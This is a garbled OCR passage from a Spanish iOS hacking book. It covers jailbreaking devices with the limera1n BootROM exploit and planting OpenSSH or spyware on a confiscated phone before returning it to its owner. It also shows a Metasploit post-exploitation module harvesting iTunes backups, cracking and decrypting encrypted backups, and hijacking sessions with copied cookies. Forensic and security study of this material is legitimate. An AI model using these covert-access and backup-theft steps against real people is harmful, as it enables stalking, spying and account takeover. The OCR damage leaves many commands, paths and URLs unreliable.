Lo primero que se debe hacer es ejecutar el software de RedsnOw como administrador, para cn
sistemas Microsoft Windows o como usuario sudoer en un sistema operativo Mac OS X. Después
aparece la primera pantalla en la que sc apreeian las opeiones de inicio. Desde esa pantalla se puede
realizar el proceso de Jailbreak, o acceder a los “Extras™ que es donde se encontraran las opeiones
de DEL Pwind o de arranque de un terminal con Tethered Juilbreak.

En este caso se a ver como se realiza un proceso de Jailbreak, por lo que hay que hacer clic en
el boton Juilbreak. Acto scguido aparecerd la segunda pantalla, en la que aparecen una serie de
indicaciones que van desde qué dispositivos estan soportados, hasta los pasos quc hay que dar para
comenzar el proceso de Jailbreak.

Los pasos con dispositivos de chip A4 son siempre los mismos, primero se conecta el dispositivo
al cquipo, lucgo se apaga. y una vez que el dispositivo esta conectado y apagado, ts momento de
hacer clic en el botén Next. En el caso de que fuera un equipo con chip A5, seria necesario tener el
dispositivo pareado con Apple iTunes y wenerlo desbloqueado sin passcode.

Welcome! This i lhe latet vergon of radsndw. U wieloomet Thesm e Intest version of redsnDw.

Copyrighz 20072012 Phone Cev Tram. All ights ressrved. Not 1 Copwight 2007-2012 Phone Dev-Team. Al richis reserved. Not
for commzreal Lae. far commerdial uve,

it/ Fone-deviata | For sunport, vist ourbleq or try seerching JaibreskOA,

ek | Jabresk s etal Gy Ewics fad e Eat
Lifwu have an P wieds, Padl, or iPad3 please connect 1=

T nerma mode (Tures mode) now.

Cires f Everythong eke, | Ad it e e —— =

I you have on carer cevice butits at 5. 1.2, you can aiso.
ronnersitin nomal mode row if you prefier .

Mme,mmmdemsbnmﬁmdmm
to the omouter

iLis nul off, plug the device mto the computer FEIST.
Then holc down the Fower button {on the edge of the
cevice] untt ‘Shide @ Power OF apnears, and then
side io pewer off,

Click newt when vour devos is BGTE off s0d plugaadin
Tor 1=it's studn & reboot loop).

< Back

Imagen 03.11: Primeros pusos cun realmt?wpara realizar Jafib:eak

Cuando se hace clic en el boton de Next, habrd que poner el dispositivo en modo DFU (Device
Firmware Update), proceso que s¢ debera realizar pulsando la combinacién de teclas tipicas para
entrar en dicho modo en todos los terminales iPhone o iPad. Después de tener el dispositivo en esc
modo. automdticamente comienza el proceso de realizacion del Juilbreak.

La combinacion de teclas que porne el dispositiva cn DF1J, es pulsar primero y durante 3 segundos el
boton de Encendido (Power button), acto seguido y sin soltar dicho botén pulsar al mismo tiempo el
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hotén Home durante 10 segundos. finalmente soltar ¢l boton de Power y mantener pulsado solamenie
el boton Home durante 15 segundos. De todas maneras, cada paso viene detallade por el propio
software Redsn(w, que en cada momento le indica al usuario lo que debe ir realizando.

Please use the following insructions to entar DFU mod=

1. Hold down thz Power {corner) bution for 2 seconds

%, Without releasing the Power button, alse hold down the Homes
(botom cender) button for 10 seconds

| =
|
l 1, Hold down 3e Fowet foormer) buthon for O seconds i
2, Without relassing the Power button, Jsof he Home
{botiom ¢ bution for O secands
3. Without releasing the Home button, release the Power bution .
BUT KEEP holding the Home hution for 15 seconds ‘
< Back Mot > et |
i G i 9.0 |

Imagen 03.12: Proceso de configuracion del terminal en modo DEU guiado por RedSnlhw.

Si lodo se ha realizado correctamente y a su debido tiempo, comenzara a realizarse el proceso de
Jailbreak automaticamentc en el dispositivo, si no ha side asi, se producird un error y sera necesario
comenzar de nuevo con dicho proceso.

Primero se mostrara la informacién del exploif que se estd lanzando, en este caso como es un chip
A4 eon i0S 6 sc lanza el exploit de BootROOM limerain. Después se parchea el kernel para quitar
el Code-Signing. v por iltimo sc llega a las opciones de ejecucion en el terminal, una vez que se ha
conseguido hacer el Jailbreak.

En este punlo es posible ejecutar codigo con la cuenta de usuario root y el password alpine en cl
terminal. Para ello, es necesario crear un disco en memoria RAM con lo que se quiera gjecutar.



- Capitulo 1. Jailhreak 65

Please wait while your bulld is baing identfed,
Explniting with imerain

| Pleas= select your options for #hone3,1 5,0_10A403:

¥ insal Cyda
I el asstom bundle
I” Beaclivate

Imagen 03.13: Explotando limeradn para hacer el Jailhreak.

‘Herramientas de analisis forense de tipo comercial crean sus propios scripts a partir de este punto
para cxlracr lodo el contenido del terminal sin necesidad de tener el passcode. Otras herramicntas
como Gecko il’hone loolkit lanzan el ataque de fuerza bruta para sacar ¢l passcode, y sistemas como
iFPhone Data Prorection, corren todos los scripts para sacar las passwords, volcar datos, u obtener
una shell, tal y como sc ve en el capitulo dedicado a este framewark.

Suponiendo que no se disponga del passcode del terminal, se¢ podria instalar Cydia que es la
‘herramienta cliente que da acceso a la tienda de aplicaciones del mismo nombre para sistemas /O8
con Juilbreak, pero nunca sc podria arrancar iOS y llegar a instalar, por ejemplo un trovano desde
Cvdia. o un troyano utilizando un provisioning profile.

Sipor el contrario, el passcode ha sido posible sacarlo con Gecko iPhone Taolkit, va no se necesitaria
Racer el Jailbreak, por lo que se cstarfa en la Gltima opeion, es decir, sin passcode es posible Lacer
el Jailbreak porque es un chip A4 y lo que se quiere es tener acceso a los ficheros. En ese caso cs
‘mgjor lanzar iPhone Data Protection.

La Gltima opcidn que queda cs crear un custom bundle, como hacen las herramientas forenses para

Lener aceeso al sistema, como por ejemplo con un troyano o keylogger v devolver el dispositivo a
su duefio.
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Custom bundle de OpenSSH

Una forma sencilla de conscguir acceso al terminal sin tener el passcode es instalar OpenSSH sin
instalar Cyvdia. Listo permitird que se abra una nucva conexion al dispositivo por donde conectarsg,
aunque existe el problema de la conectividad con el terminal.

Si el disposilivo tiene instalado un jOS 4.X, bastard con analizar cudles son las redes Wi-Fi que
busca. para crear una rad sefiuelo a la que se conecte el dispositivo y desde esa red se podra hacer la
conexion al servidor UpenSSIi que se ha introducido.

Si el dispositivo tiene un iQS 5.X o superior, esto no se podré realizar, ya que &l terminal no libera
las passwards de conexion a las redes Wi-Fi hasta que no se ha desbloqueado una vez, por lo que
la opeién pasa por requisar temporalmente el terminal, hacerle cl Jailbreak, instalar el OpenSSH
y devolver dicho dispositivo a su duefio. La primera vez que se desbloquee el passcode y que se
conecte a una red Wi-1'i quedara accesible para conectarse via OpenSSH.

Imagen 03.14: Instalacion de un cusiom bundle.

El custom bundle de OpenSSI{ esta disponible en el reposzmrlo de ficheros de iPhone-Dev Team
enfGoogle Sites: https:/isites. Google.com/a/iPhone com/files/iome/. El fichero que hay que
descargarse es S5/12 bundle.tgz y guardarlo en una carpeta. Una vez que se seleeciona la opeion de
Install cusiom bundle desde Redsn(w se solicitara la ruta del fichero y quedara listo para ejecutarse
en el siguiente reimicio.

Este proceso de instalar software en dispositivos A4 con custom bundle sin conocer el passcode,
podria hacerse igualmente para introducir, por ejemplo, un malware especialmente creado para
vigilar 1a actividad dc los usuarios.

Jailbreak a terminales A3 con iOS 5.X usando Absinthe

La herramienta por excelencia para hacer jailbrek en dispositivos con chip A5 es Absinthe. Permile
hacer tanta Tethered coma Unrethered Juilbreak, pero en todos los casos es necesario conocer el
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passcode del dispositivo para poder hacerlo ya que coma se ha explicado no utiliza exploits de
BootRom, por lo que si no sc tiene puede ser inttil requisar el dispositivo.

Comu sc puede ver en 1a imagen siguiente, nada mas descargar y ejecutar la herramienta se informa
de este hecho. Después, cuando comience el proceso dc .Jailbreak, la herramienta reiniciard el
dispositivo, transferira datos, y acabara realizando el Jailbreak. pero serd necesario en todo momento
que esté concetado el terminal a i7unes y que no haya ningiin passcode por lo que no se pueden hacer
cosas como las hechas previamente con RedsnOw v los custom bundles.

8 Welkcome to Absinthe 105 5.0/5.0.1 untethered A5 jaibreak!

Please make a backup of your device hefore usng this tool. We don't expect any ||
sues, but we aren't rasponsble f anything happens. H

Phone 45 with 105 5.0.1 (9A405) detactad. Cick the buttan to begin.

Chronic-Dev Absinthe © 2011-2012 Chronic-Dev Team.
Enpluds by: @pod2g, @plnetbeing, @s3urk, @pimskaks,
Dpisixninja, @MusciaNerd, and Encvolis,
Artwork by @iOPK. GUI by Haw: tne Samara & @pimskeks.

Supart Us (PayP) http://graenpoishn.comy

Imugen 03.15: Absinihe para iO5 5.X

Jailbreak a iOS 6 en dispositivos con chip A4, ASy A6

La ultima herramienta que ha sacado la comunidad de Jailbreakers cs EvasiOn. Fsla version hace
Jailbreak en terminales con /OS ¢ hasta la version /0S 6.1.2. ya que cuatro de los seis bugs que
explota fueron cerrados en esa actualizacion.

De nuevo, los exploits se encuentran en lo que se denomina wserland, es decir. ¢n ¢l entomo de
usuario por lo que es necesario contar con el passcode y desbloguear el terminal.

Tanto los exploits que usa Absinthe para dispositivos A5 con i0S 5. como los que usa Evasiln para
dispositivos con chips A5 y A6 e i0S 6.X requieren conocer ¢l passcode, por lo que solo pucden
ser utiles para instalar software espia en el terminal o puerlas trascras accesibles con OpenSSH en
terminales que van a ser devuellos a sus auténticos duefios. para conseguir monitorizar las acciones
que realice ¢n ¢l [uturo.

Hay que recordar que, en el caso de dispositivos con chips A4 incluso con QS 6 se puede seguir
haciendo Jailbreak por medio del exploit de BootRom, por lo que no es necesario hacer uso de
Evaxiln para csos casos.
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5. Acceso a datos en el dispositivo

Este punto explica como se puede acceder a los datos de un terminal en los casos en los que haya
que coger un dato puntual o utilizar una herramienta de analisis forense profesional que los extraiga.

Si se ha podido acceder al pusscode mediante Gecko iPhone Toolkit el terminal se puede conectar
a cualquier equipo con Apple iTunes, hacer un backup y analizarlo, o simplemente conectarse a €l
con cualquier herramienta que permita acceder al sistema de ficheros, como por ejemplo iFunBox.

| afnNew Folder § Refresh 4 Go Up Level | & Copy From PC ¥ Copy ToC | & Install App [ AppFastin™ | | @ Search Files | [
Folder View i FileView | Datails

Ahi se podrian copiar los ficheros de binarycookies y preferences de la cuenla de Linkedin y utilizarla
en olro dispositive para acceder a la sesion del duefio del terminal.

Si se ha instalado OpenSSH en ¢l terminal o se ha descubierto que ya estaba instalado previamente,
entonces se puede hacer la inspeccién de ficheros mediante un sistema SSHFS, es decir, montando
un sistema de ficheros por encima de una conexién SS11. Se puede utilizar una herramicnta como
MacFusion, donde hay que configurar los datos que se necesitan para establecer la conexion.
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o y la contraschia, que podria ser roof

‘Una vez establecida la conexion, s¢ podra montar el sistema de ficheros simplemente dando clic
en ¢l boton de Montar, y ya quedara accesible toda la estructura de ficheros remolo a través de la
herramienta.

iPhone (Mounted)
mobile@192.168.1.34

meliiel -

Dmagen 02.18: FS monlado sobre conexion S§H

Por ltimo, si no se ha conseguido montar OpenSSH (o un lroyano cn ¢l sistema) y no se ha
‘conseguido el passcode, lo mejor serd devolver ¢l dispositivo y esperar a tener mas informacion, o
Hocalizar los esfucrzos en averiguar el passcode 1 obtener ] equipo donde este terminal es pareado
nrmalmente.
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Capitulo IV
Atacando el backup

1. Introduccion

En este capitulo se van a explicar los pasos que un intruso podria llevar a cabo para conseguir el mayor
nimero de datos e informacion de un sistema con 705, teniendo en cuenta que debe de di sponer, ya
sea porque se tiene acceso fisico o porque remotamente se ha podido explotar una vulnerabilidad de
conliguracion (por ejemplo una lista de permisos mds configurada en la comparticién de archivos
de red), o de aplicacién (por ejemplo un bug explotada con Metasploif), v se ha accedido al sistema
operativo donde se encucntra instalada la aplicacion Apple iTunes desde 1a que se gestiona el
dispositiva del objetivo,

Esto es importante porque una de las caracteristicas de Apple iTunes es llevar a cabo copias de
seguridad cada vez que un terminal es conectado y sincronizado con el sistema operativo. Esos datos,
que se almacenan en local, pueden cifrarse o no scgin la configuracién que establezca el usuario
en el interfaz de la aplicacion, pero cn cualquier caso supondran una fuente jugosa de informacion,
COmo se va a ver en cste capitulo.

Copias de seguridad

Tamblin 56 realizard una conia de sequridad de les
rontAsAfAn s 188 CUMNTAS UNIEzad 2 en kTS IPHne,

Ruallzar copla de seguridad sutomiticaments Realizar copla de ssguridad y restaurar manualments

) iCloud Mowenﬂ?‘ E #Mm‘-:a \
; i g r e sy pinteiaay
Grsande an Kiowd unz copla de sequikdad do los datos més manu ¥
IrpoTmes GeliPhana. ‘

® Este ordenador 3 f : !
Se Almasanarh & asta ardanador una eopla de seguridad LM'NMJ |__Restaurr copia... | i
comgita de s iFhone. Otinna copia da saguridad on esta By £:45 FM |
B Cifrar copia de seguridad del iPhane i

I

Imagen 04.01: Opciones de cifrado de iTmmes.
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2.Localizacion de los ficheros del backup

Cada vez que se produce una sincronizacion del dispositivo (va sea iPhone, iPad o iPod 1ouch) los
fichcros de la copia de seguridad son todos depositados dentro de un dircelorio que tiene de nombre
el identificador del dispositivo, denominado UDID (Unigue Device [Dentifier), y en algunos casos,
segiin la version. también una marca de tiempo (Timestamp). Las rutas en las que se guardan estos
directorios dependen del sistema operativo que esté utilizando el usuario, y son las que pueden verse
en la siguiente tabla:

SSO0 Localizacién
| Windows XP | %HOMEPATH %o\Application Data\Apple Computer'\M nhi.IeSync\Bac kup\{UDID}
Windows 7/8 2%HOMEPATHY\AppData\RoamingiApple Computer'\MaobileSync\Backup'\{UDID}
Mac O3 ~/Library/Application Support/MobileSyne/Backup/ {UDID}

Poseer estos archivos compromete completamente la seguridad del terminal. ya que con las
herramientas v los conacimientos adecuados, se va a poder acceder a casi toda la informacion que el
terminal movil contenga, e incluso, a datos guardados ¢n servicios remotos o por aplicaciones que
el usuario utilice ¢n su dia a dia, como Whatsapp, I"acebook o Linkedin.

Estos ficheros son tan relevantes que incluso aplicaciones de hacking, como el popular framework
de explotacion de vulnerabilidades Merasploit ha incluido, en su dltima versidn, un modulo de
postintrusion para Meierpreter, que busca en el sistema operativo comprometido los archivos de las
capias de seguridad de i08 y los descargard de forma automaética.

regb@ht: -

imeterpreter > run post/multisgather/apple ios backup

{#*] Checking for backups in C:\Users\admin\AppData‘\Roaming\Apple Com
ckup :
{*] checking Tor backups in Ci\Users\admin W7-od12/\AppOaTayRoamingy
LeSync\Backup

{#] Found C:\Users\admin.W7-80127\AppData\Roaming\Apple Comsuler\Hobf
25a97292233dddcb3Tcct068bed3 fedffed f
{*] Found C:\Users\sdmin W7-88177\AppData’\EoamingyApple CompuTeryHob
b31aE577339275514eTedT552ceBa 1afed 2
i[*] Pulling data frem C:\lUsers\admin.W7-88127\AppData\Roaming\Apple |
\Backup\l‘aﬁﬂﬂﬁasfaﬁzZszdddchﬁccmﬂbesifedffed‘t. 4

i[*] Reading Manifest.mbdb from C:\Users\admin.wW7-8e127\AppData\Roami
nhilesyn:\Encimp\leﬁausaBfnSH:ladddcha?ccﬂeﬁ.ﬂ:eg;ﬂdﬁedf Lo

I[*] Reading Manifest mbdx from C:\Users\admin.w7-8€127Apphata\Roemi|
lobileSync\Backup\2e6005a9Ta32233dddcb37ccagtabesatfed fiedf. .. i
[*] Downloading Appbemain-es.eltlempo.eltienpo Documenis/eltiempo.dbt
[*] Downloading Homepomain Library/Webiit/Databases/https_monile.twil
geoegsel.db., . . &

{*] Downloading HomeDomain Library/WebKit/Databases/Databases.db... :.
[*] Dewnloading HomeDomain Librarysvoicemail/voicemail.db... 1
1*] Downloading HomeDomain Lihra_ry_,ffrufar’ifﬂﬁni-u!wks._dk_
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Urtilizar este modulo cs tan sencillo como invocar al script que realiza la busqueda de los backups
por todo el sistema operativo y que los descarga mediante el comando siguiente, tal y como se puede
ver cn la imagen anterior:

cun’ post/multi/gather/apple ios backm®. #

A partir de ese momento, si se localiza un backup, el proceso sera automitico y descargard todos y
cada uno de los ficheros localizados a la maquina local.

3.Estructura de un backup de iOS

El primer acceso a los ficheros que conforman la copia de seguridad de un dispositivo iOS puede
resultar algo confuso la primera vez. Eslo es asi porque los archivos tienen como nombre un valor
hexadecimal de 40 caracteres que corresponde a un Hash SHA1 del nombre del “dominio™ al que
perlenece cada uno de ellos, mas el nombre real del fichero dentro del dispositivo, unidos los dos
por un simbaolo de guion.

Por ejemplo, para el archivo de imagenes de la agenda de contactos, que se encuentra ubicado
dentro del terminal en la ruta del sistema de archivos siguiente:

Library/AddressBook/AduressBookImazes.sgliteds

Y que pertenece al dominio Homeldomain, se tendra como nombre de fichero dentro del backup de
Apple iTunes el resultante de aplicar esta funcién:

SHAL (“HomeDomain-Library/AddressBook/AddressBookImages. sglitedb”)

Es decir:

cdb70Z2cea2%rle89cfZ80a76794405adbl 7f9a0es

Para conocer todos los dominios posibles que existen en un sistema de backup de Apple iTunes
se puede consultar el fichero /System/Library/Backup/Domains. Plist dentro del dispositivo, donde
estan todos ellos descritos. Por supuesto, estos son comunes para todos los terminales, por lo que
se verda un poco mas adelante como las herramientas automatizan la decodificacion de los mismos.

Estos ficheros, una vez decodificado el nombre del mismo, podran estar o no cifrados dependiendo
de lo que haya elegido el usuario. Sin embargo, dentro del backup hay otros archivos creados por
Apple iTunes en el momento de hacer la copia de seguridad con informacion general del sistema y
que siempre estan sin cifrar, independientemente de la configuracién que se haya establecido. Su
utilidad va a ser mucha, y son los siguientes:

- Info.Plist: contiene detalles del terminal como por ¢jemplo el modelo, el IMEIL, las
aplicaciones instaladas, la fecha de backup o el nimero de serie.

- Manifest.Plist: visto con anterioridad, mantiene detalles de las rutas de las aplicaciones
instaladas. el nimero de serie, el tipo de dispositivo, UUJID, e informacion referente a la
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seguridad, como si el resto de archivos estin cifrados o no y si el dispositivo solicita codigo
de bloguco.

- Status.Plist: con informaciom de la copia, como la hora al a que se realizo. si fue completa
v termin® de forma satisfactoria y el UUTD.

- Manifest.mbdb: base de datos con informacién sobre el resto de ficheros y sus tamaiios
y estructura. Es el punto principal para mapear los nombres de los ficheros de la copia de
seguridad y sus correspondencias dentro del sistema de ficheros de /OS. Su formato binario
se describe en la siguiente tabla:

| Tipo Dato Deseripeion
siring | Dominio Nombre del dominio.
string | Ruta - - Ruta del fichero. o~
string | Destino Ruta absoluta para los enlaces simbdlicos.

| Hash SHA1. OxFFFF para directorios y ficheros del dominio

g | Ha AppDomain. 0x0014 para los ficheros del dominio Sysiem.

siring | Clave de cifrado OxVI'FF para ficheros no cilrados.

ldentifica el tipo de fichero. Oxa000 para enlaces simbdlicos.

] Modc - ; :
ubild' | Medo 0x4000 para directorios. 0x8000 para ficheros.

uine64 | nimero de inodo Nuamero de inodo.

wint32 | User ID UID del fichera, géne.ra[mente 501.

uini32 | Group IP GULD del fichera, gencralmente 501,

uint32 | Fecha de ult. mod Fecha de tltima modificacion en formato Epach.

uint32? | Fecha de ult. acceso | Fecha de dltimo acceso en formato Epoch.

uint32  Fecha de creacion Fecha de creacion en formato Lpoch.

winthd | Tamafo Tamafio del ﬁchém, ( para enlaces simhdalicos y directorios.
uint8 Protection Class Nivel de proteccion, desde Ox1 hasta 0xB.

uinl8 Num de propiedades | Nimero de propicdades. u
string | Nombre prop MNombre de la propicdad del fichero.

string | Valor prop - Valor de la propiedad.

El resto de archivos no se podra leer de forma directa si la copia se hizo con contrasefia y sera
necesario saber esta para descifrarlos y visualizar su contenido. A conlinuacion se va a tratar este
punto.
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<key>MinSupportedVersion</key>
|(:|t.r" na¥3.0</anringy
<key>Systemlomains</kev>
<dict>
<key>BooksDomain</key>
<dicty
<key»Cameralol 1Domaind/ eyl
<dict>
<keyrHomeDomaln</key>
<dicty 1 :
<krysEeyehainDomaing/ keys
<dict:
<key>ManagedPreferencealomain</key>
<dici>
<key>MediaDomaing/ key>
<dier>
<key>MobileDevicelomain</ ey>
wdict>
<key>RootDomaln</key>
<dicty
<key>SystemPreferencealonsing/ kmys
<dices
<key>ToneaDomain</key>
<dict>
<key»Wireleaslomaing/key>
<dicr>

</dict>

<ley>Version</ key>

<=cring>»12.0</acring>
S e/dicn>

/plist>

[magcn 04 0’1 Fichero Domains, phsf

4.Crackear la contraseiia de cifrado del backup de
Apple iTunes

En el caso de que los ficheros de la copia de seguridad estén cifrados hay utilidades que irédn probando,
una a una, diferentes combinaciones de claves hasta dar con la contrasefia de cifrado correcta. El
proceso es muy lento pero es posible realizarlo aunque evidentemente existen factores que incidiran
directamente en su éxito 0 no, como la contraseiia elegida por el usuario, la configuracion de las
pruebas a realizar y la capacidad de computo que tenga ¢l sistema de cracking elegido. para lo que
se recomienda utilizar un potente sistema.

Las dos aplicaciones mas populares en el mundo de la seglmdad para | realizar esta tarea de cracking
de la contrasefia de cifrado del backup son I¢ vy Suitefdesarrollada por Ivan
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(”aiubex % y de distribucion gratuita en Internet para uso personal y no comercial y Phoiie
de la compaiifa Flcomsafi, que es distribuida mediante licencias comerciales.

En ambos casos la idea del cracking es similar. Sc abre el fichero binario almacenado en el directorio
del backup llamado Manifest. Plist, donde como ya se ha mencioado antes sc almacenan propiedades
conocidas de la copia de scguridad (como por ejemplo si el terminal movil esta protegido por
contrasefia | Wasl'asscodeSer). si esta cifrado [IsEncrypled]) asi como la informacién necesaria
para poder recuperar la contrasefia, que es almacenada mediante una derivacion realizada con el
algaritma PRKDF2 y 10000 iteraciones en los casos de i0S 4, iUS 5 e i0S 6.

Con estos datos, las herramisntas podrin comenzar a realizar pruebas hasta dar con la contrasefia
correcta de cifrado.

|| = Apple i0S 4.0 & 5.x badkups;

| eBlackBerry 5 % &&.x badups;

| = TrueCryptvolumes (imited suspart )
| =WFA/WPAZ bandshakes.

| Vi cenr find meee information about this program at developer's wehsite.

I Mon Festres are:

| elowirer] hand weiten bler CPU 15 with all modern nslrucbon sets

;rpars (AVE, X0P, AES-NI);

| .Sa.ppnrtfurmdemmchPUs - WVIDTA ard AMD ones;

1 cW&Mnmﬁmﬁmhqmﬂhm&mﬂmbmﬁrmssm

| madng “Urther attadke mud faster;

; -Semdtwenamerd-lxutz-M.eas]dhmbamdm
Automated pasword

TACT: Arreiermton & not avainble =
1903 UNREGISTERED]

Imagen 04.04 fG 5 Password Recovery Suite. Imagen 04.05 Elcomsafi Phone Password Breaker,

Desde el punto de vista de un auditor, los pasos parar averiguar la contrasciia mediante /G 5 Password
Recovery Suite son muy sencillos:

- Se extraen los bytes necesarios del Maaifest. Plist a un fichero externo que interpretara
la aplicacion. Este paso lo hace automaticamente la utilidad, por lo que tan solo hay que
indicarle la ubicacion del archivo original y donde se guardara el nuevo.

- Se selecciona el tipo de ataque de luerza bruta, donde lo normal serd utilizar uno o varios
diccionarios. Esto es lo conveniente ya que el algoritmo PBKDF2 estd disefiado para ser muy
lento en ¢l proceso de eracking v hard que probar todas las combinaciones posibles prolongue
el proceso de descifrado de la contrasciia duranle afios,




Capitulo IV, Atacando el backup

- Se afiaden los diccionarios de palabras y las reglas de mutacion de los mismaos, de tal
forma que por cada palabra del fichcro se deriven a otras nuevas mas complejas que pudiera
haber construido ¢l usuario. Para este propésito, en la pagina web SkuliSecurity se mantiene
una lista de archivos de diccionarios para descargar que pueden ser de mucha utilidad. T.a
URL de descarga es la siguiente:hitipstivwmskullsecurit SSWOr

Imagen 04.06 Seleccion de tipo de ataque de firerza bruta, lmagen 04.07 Seleceion de diceionario v reglas.

Si se recorren Lodos los ficheros y tras haber creado con la herramienta todas las derivadas no sc
encuentra la clave de cifrado, entonces se debe ir anadiendo complcjidad al ataque utilizando otros
diccionarios y otras reglas de derivacion, evilando en todo momento repetir ficheros con las mismas
palabras que intentos anteriores para no realizar trabajo doble en el ataque.

File: CiYsers\aramos ADesk iopManifess, plist
Typc: Apple® 05 4.x/5.% badap
Protection: Apple 103 4.x /5. backup, PBKDF2/AES
[Tolal pasawords te process: 3432552
Totzl passwords processed: 343255

# Filz is pasaword protected to open — «<Atuns

S.Descifrado de los ficheros del backup de Apple
iTunes

Una vez identificada la clave que el usuario ulilizd para cifrar todos los datos del backup de iO5, el
siguiente paso sera proceder a descifrar todos los ficheros que componen la copia de seguridad del
terminal, que se guardan cifrados con el algoritmo AES256-CBC. Una herramicnla gratuila para
descifrar todos los ficheros dejandolos tal y como lo haria Apple iTunes si no estuviera establecida la
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contrasefia, es el scrips programado en lenguaje Pythos llamado *‘bac}h@._i‘ool.pyi gue se encuentra
enire las utilidades de if;’hé'ge—dat&;p?mecﬁem mo es obvio, para usar cstc script se debe conocer
previamente la contrasciia de cilrado de los archivos que se ha tenido que averiguar con alguna de
las herramientas citadas anteriormente y que han sido disefiadas para este propésito.

rootighe:  dphone dataprotection/pyihon scripts

roct@lt:~/iphone-dataprotection/pythen_scripts# python backup_tool.py /roct/backup -
backup2 i
Device Name - 1sramost

Display Mame : farawosi

Last Backup Date : 2612-12-06 22:88:43
IMEI ; €121286655358324

serial sumber : BBB4ERG1BER

Froduct Type : iPhone3,1

Product Version : 6.8

iTunes Version : 16.6.3

FYXTracT aackup To Jroot/backep2 7 o{y/n)

¥y

Sackup i: encrypted

Enter backup password :

atun

Writing Documents/wes. evernote: com/aramosT/SyrcState
Writing Library/Madia/34613442888@s whatsapp.ret///o/ inTdu19ab78dcdlcTeds fada173e28)
Writing Library/Media/346281321238: whatsapp.net,/8/6/0650cbo29ce0035023aneTaef1bT5
ab

Writing MedisyPhotoStreansData/1587084969/ . MISC/B188CDE]1-530890856 - 2dcedBbd-bBbadaBd- |
dr-7

Writing Media,/DCIN/ 18BAPPLE/ING £383.JPG
Bririting Lib-ary/Media/34871372888@s whatsapp.not/3/6/36151cabaatos f12654bdd%ads 9585.

g
writing Media/PhotoStreassData/1567@4960/104APPLE/ING B872.1PG :
Writing LiRcary/Meding 4k 21131913~ 13521073578y us/ 8 /d/sdq 10487 7d4a3d3alfdlesapeBizd )

a
wWriting Library/Media/34628613888@s whatsapp net,/S/b/9bTe7 aTeddf?ARcr 04 1ARNT A ATAR2E

png
Writing Decusents/resources/de.lproj/upgrads hrm v

Imagen 04.09: Seript backup_tool.py del conjunlo de herrmientas iPhane-dataprotection.

Para procesar ¢l archivo Manifesi.mbdl y navegar entre los ficheros de la copia de seguridad mas
comodamente, como si de un explorador de archivos se tratara, existen herramientas que recotren
los registros y los muestran de forma amigable. Una de estas utilidades muy popularcs para sistemas
Microsaft Windows cs iPhone Backup Browser, de uso gratuito.

- 331
corr aidev mablle onaize cury gjddev.molale B eolate i TrhaA740
com apaiaamdoasphone oom Epelzbradoe Inhone 5 4182
o Anpsfoe drns o mpnsfve deak 5 §19.480
com atebits, Troete2 o el s Twestin? 4 2 TER 22T

com audogudatimfih com zudoaid trfish 2 29157

com banidrter Launcher

i booyah swittrendsHU
com bytemn mahiongiree

Docurerte”  all_s13pid

Diacumenta,/ad ServeDowniozd 0 210NN EAEA Apnl laraina
| Incy e e andy e LS Wy Do 07 U 20agh Brav vl SLTEC 1T 3232 17OL2N2I1EZTE Py T
Libyery/ BonpCon e 1534762427_Tharchive 1332 120272062 BT FppDorminc
Ubrery/ By Sem 1534762427 S3archive 0 AIARGANS 254 fepDormnc
Ubreey/ 8 myStored | 53ATE242T_Sd.aohve 272 1202202175544 Fupp Dormin-c:
Lilw sy ik of Thesstarno 1 EIATERLZ T archive: 223 A2 102033 #App Joman-c.
bwmny/Prers L fipetudor.; 2k 1A 17370 fipp Daman ¢

: e - |
Imagen 04.10: iPhone Backup Browser sobre copia de seguridad.
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6. Analisis de ficheros de un backup de iOS

A partir de este momento las opciones para un penrester se multiplican. Es cuestion de paciencia y
dedicacion el ir analizando todos y cada uno de los archivos guardados en ¢l hackup. Fste proceso
es mas similar al trabajo que realiza un analista forense, y que como se vera en otro capitulo puede
tener herramientas de analisis profesionales. como Oxygen j_f‘orfen._s'f:_:,;'pere un pentester puede hacer
un trahajo rapido centrandose en los tipos de ficheros mas importantes del backup.

Tipos de Ficheros principales

En general exislen pocos formatos de ficheros dentro de un backup de iOS que sean de interés.
Alli es posible encontrar archivos multimedia de imégenes, videos, elcétera, de bases de datos en
formato SQLile que utiliva tanto el sistema operativo como muchas aplicaciones populares, ficheros
properiy list (Plist) y una gran minoria de otros tipos de archivo de texto u olro tipo usados por
aplicaciones o como almacén de documenlos. Los lipos més importantes son:

Aplicacion Archivos
Configuracion de S . . S e
Aveosibilidad Library/Preferences/com.Apple. Accessibility. Plist

Modo avion, Bluetooih
v Wi-Fi -

Library/Preferences/com.Apple.preferences.network
Library/Preferences/com.Apple.network.eapclient tls.
TrustExceptions.Plisi
SystemConfiguration/com.Appie_network.idantification. Plist
SystemConfiguration/com.Apple. Wi-Fi. Plist
SystemConfiguration/preferences Plist

Calendario

Library/Calendar/*
Library/Preferences/com.Apple. mohilecal®

Historico de 1lamadas

| Library/CallHistory/*

Reloj

Library/Preferences/com.4pple. mobiletimer. Plist
Library/Preferences.com.4pple.preferences.dalctime. Plist

Contactos

Library/4ddress Book/*

Nombre del dispositivo

SystemConfi gurationf'cnm.App!e,mobﬂe gestalt

Facelime

Library/Preftrences/com.4pple.conference™®

_Arajos_de teclado

Library/Keyboard/*

Lenguajes de teclado

Library/Preferences/. GlobalPreferences. Plist
Library/Preferences/com.4pple. Preferences. Plist
Library/Preferences/com.Apple. purplebuddy. Plisr

Servicios de localizacion

Library/locationd/*
Library/Preferences/com.4pple.locationd. Plist
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Aplicacion

Archivos

Mapas

Lihrary/ Maps/*

| Library/Preferences/com.4pple Maps.Plist

Configuracion de miisica |

Tibrary/Prelerences/com.Apple. mobileipod. Plis

Nolas

Library/Notes/*
Library/Preferences/com.4pple. mobilenotes. Plist

Configuracién de
notificacionces

Library/BullitenBoard/*
Library/SpringBoard/PushStore/*
Library/SpringBoard/applicationstate. P/ist
Library/Preferences/com.Apple springboard. Plist

| Camara Roll

Media/DCIM/*
Media/PhotoData/~
Library/Preferences/com.Apple mobileslideshow. Plist

Disposicidn de iconos de
aplicaciones

Library/SpringBoard/IconState. Plist

Configuracion de
restriccioncs

Library/ConfigurationProfiles/Publicinfo/EfleetiveUserSettings.
Plist

Library/ConfligurationProfiles/UserSettings. Plis
Library/Preferences/com.4Appie springboard. Plist

Safari -
Safari favoritos (en
iconos de pantalla)

Library/Coakies! Caokics binarycookies
Library/Sa/fari™

Library/Preferences/com.Apple. WebFoundation. Plist

Library/WebClips/™*

Siri

Library/Preferences/com.4pple.assistant™

Confliguracion de SMS,
MMS, iMessages y
FaceTinie

Library/Preferences/com.Apple imservice™
Library/Preferences/com.Apple.madrid. Plist
